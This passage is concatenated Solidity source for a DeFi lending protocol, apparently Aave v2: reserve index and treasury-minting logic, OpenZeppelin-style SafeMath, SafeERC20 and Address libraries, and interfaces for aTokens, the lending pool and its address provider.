specific asset. * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The current scaled total variable debt * @param previousVariableBorrowIndex The variable borrow index before the last accumulation of the interest * @param newLiquidityIndex The new liquidity index * @param newVariableBorrowIndex The variable borrow index after the last accumulation of the interest **/ function _mintToTreasury( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 previousVariableBorrowIndex, uint256 newLiquidityIndex, uint256 newVariableBorrowIndex, uint40 timestamp ) internal { MintToTreasuryLocalVars memory vars; vars.reserveFactor = reserve.configuration.getReserveFactor(); if (vars.reserveFactor == 0) { return; } //fetching the principal, total stable debt and the avg stable rate ( vars.principalStableDebt, vars.currentStableDebt, vars.avgStableRate, vars.stableSupplyUpdatedTimestamp ) = IStableDebtToken(reserve.stableDebtTokenAddress).getSupplyData(); //calculate the last principal variable debt vars.previousVariableDebt = scaledVariableDebt.rayMul(previousVariableBorrowIndex); //calculate the new total supply after accumulation of the index vars.currentVariableDebt = scaledVariableDebt.rayMul(newVariableBorrowIndex); //calculate the stable debt until the last timestamp update vars.cumulatedStableInterest = MathUtils.calculateCompoundedInterest( vars.avgStableRate, vars.stableSupplyUpdatedTimestamp, timestamp ); vars.previousStableDebt = vars.principalStableDebt.rayMul(vars.cumulatedStableInterest); //debt accrued is the sum of the current debt minus the sum of the debt at the last update vars.totalDebtAccrued = vars .currentVariableDebt .add(vars.currentStableDebt) .sub(vars.previousVariableDebt) .sub(vars.previousStableDebt); vars.amountToMint = vars.totalDebtAccrued.percentMul(vars.reserveFactor); if (vars.amountToMint != 0) { IAToken(reserve.aTokenAddress).mintToTreasury(vars.amountToMint, newLiquidityIndex); } } /** * @dev Updates the reserve indexes and the timestamp of the update * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The scaled variable debt * @param liquidityIndex The last stored liquidity index * @param variableBorrowIndex The last stored variable borrow index **/ function _updateIndexes( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 timestamp ) internal returns (uint256, uint256) { uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 newLiquidityIndex = liquidityIndex; uint256 newVariableBorrowIndex = variableBorrowIndex; //only cumulating if there is any income being produced if (currentLiquidityRate > 0) { uint256 cumulatedLiquidityInterest = MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp); newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex); require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(newLiquidityIndex); //as the liquidity rate might come only from stable rate loans, we need to ensure //that there is actual variable debt before accumulating if (scaledVariableDebt != 0) { uint256 cumulatedVariableBorrowInterest = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp); newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex); require( newVariableBorrowIndex <= type(uint128).max, Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW ); reserve.variableBorrowIndex = uint128(newVariableBorrowIndex); } } //solium-disable-next-line reserve.lastUpdateTimestamp = uint40(block.timestamp); return (newLiquidityIndex, newVariableBorrowIndex); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; import {SafeMath} from './SafeMath.sol'; import {Address} from './Address.sol'; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; import {IInitializableAToken} from './IInitializableAToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; interface IAToken is IERC20, IScaledBalanceToken, IInitializableAToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param value The amount being * @param index The new liquidity index of the reserve **/ event Mint(address indexed from, uint256 value, uint256 index); /** * @dev Mints `amount` aTokens to `user` * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted after aTokens are burned * @param from The owner of the aTokens, getting them burned * @param target The address that will receive the underlying * @param value The amount being burned * @param index The new liquidity index of the reserve **/ event Burn(address indexed from, address indexed target, uint256 value, uint256 index); /** * @dev Emitted during the transfer action * @param from The user whose tokens are being transferred * @param to The recipient * @param value The amount being transferred * @param index The new liquidity index of the reserve **/ event BalanceTransfer(address indexed from, address indexed to, uint256 value, uint256 index); /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external; /** * @dev Mints aTokens to the reserve treasury * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external; /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external; /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param user The recipient of the underlying * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address user, uint256 amount) external returns (uint256); /** * @dev Invoked to execute actions on the aToken side after a repayment. * @param user The user executing the repayment * @param amount The amount getting repaid **/ function handleRepayment(address user, uint256 amount) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IScaledBalanceToken { /** * @dev Returns the scaled balance of the user. The scaled balance is the sum of all the * updated stored balance divided by the reserve's liquidity index at the moment of the update * @param user The user whose balance is calculated * @return The scaled balance of the user **/ function scaledBalanceOf(address user) external view returns (uint256); /** * @dev Returns the scaled balance of the user and the scaled total supply. * @param user The address of the user * @return The scaled balance of the user * @return The scaled balance and the scaled total supply **/ function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256); /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return The scaled total supply **/ function scaledTotalSupply() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from './ILendingPool.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IInitializableAToken * @notice Interface for the initialize function on AToken * @author Aave **/ interface IInitializableAToken { /** * @dev Emitted when an aToken is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lending pool * @param treasury The address of the treasury * @param incentivesController The address of the incentives controller for this aToken * @param aTokenDecimals the decimals of the underlying * @param aTokenName the name of the aToken * @param aTokenSymbol the symbol of the aToken * @param params A set of encoded parameters for additional initialization **/ event Initialized( address indexed underlyingAsset, address indexed pool, address treasury, address incentivesController, uint8 aTokenDecimals, string aTokenName, string aTokenSymbol, bytes params ); /** * @dev Initializes the aToken * @param pool The address of the lending pool where this aToken will be used * @param treasury The address of the Aave treasury, receiving the fees on this aToken * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's * @param aTokenName The name of the aToken * @param aTokenSymbol The symbol of the aToken */ function initialize( ILendingPool pool, address treasury, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 aTokenDecimals, string calldata aTokenName, string calldata aTokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from './ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; interface ILendingPool { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external returns (uint256); /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProvider); function setPause(bool val) external; function paused() external view returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { event MarketIdSet(string newMarketId); event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function getMarketId() external view returns (string memory); function setMarketId(string calldata marketId) external; function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function setLendingRateOracle(address lendingRateOracle) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IAaveIncentivesController { function handleAction( address user, uint256 userBalance, uint256 totalSupply ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 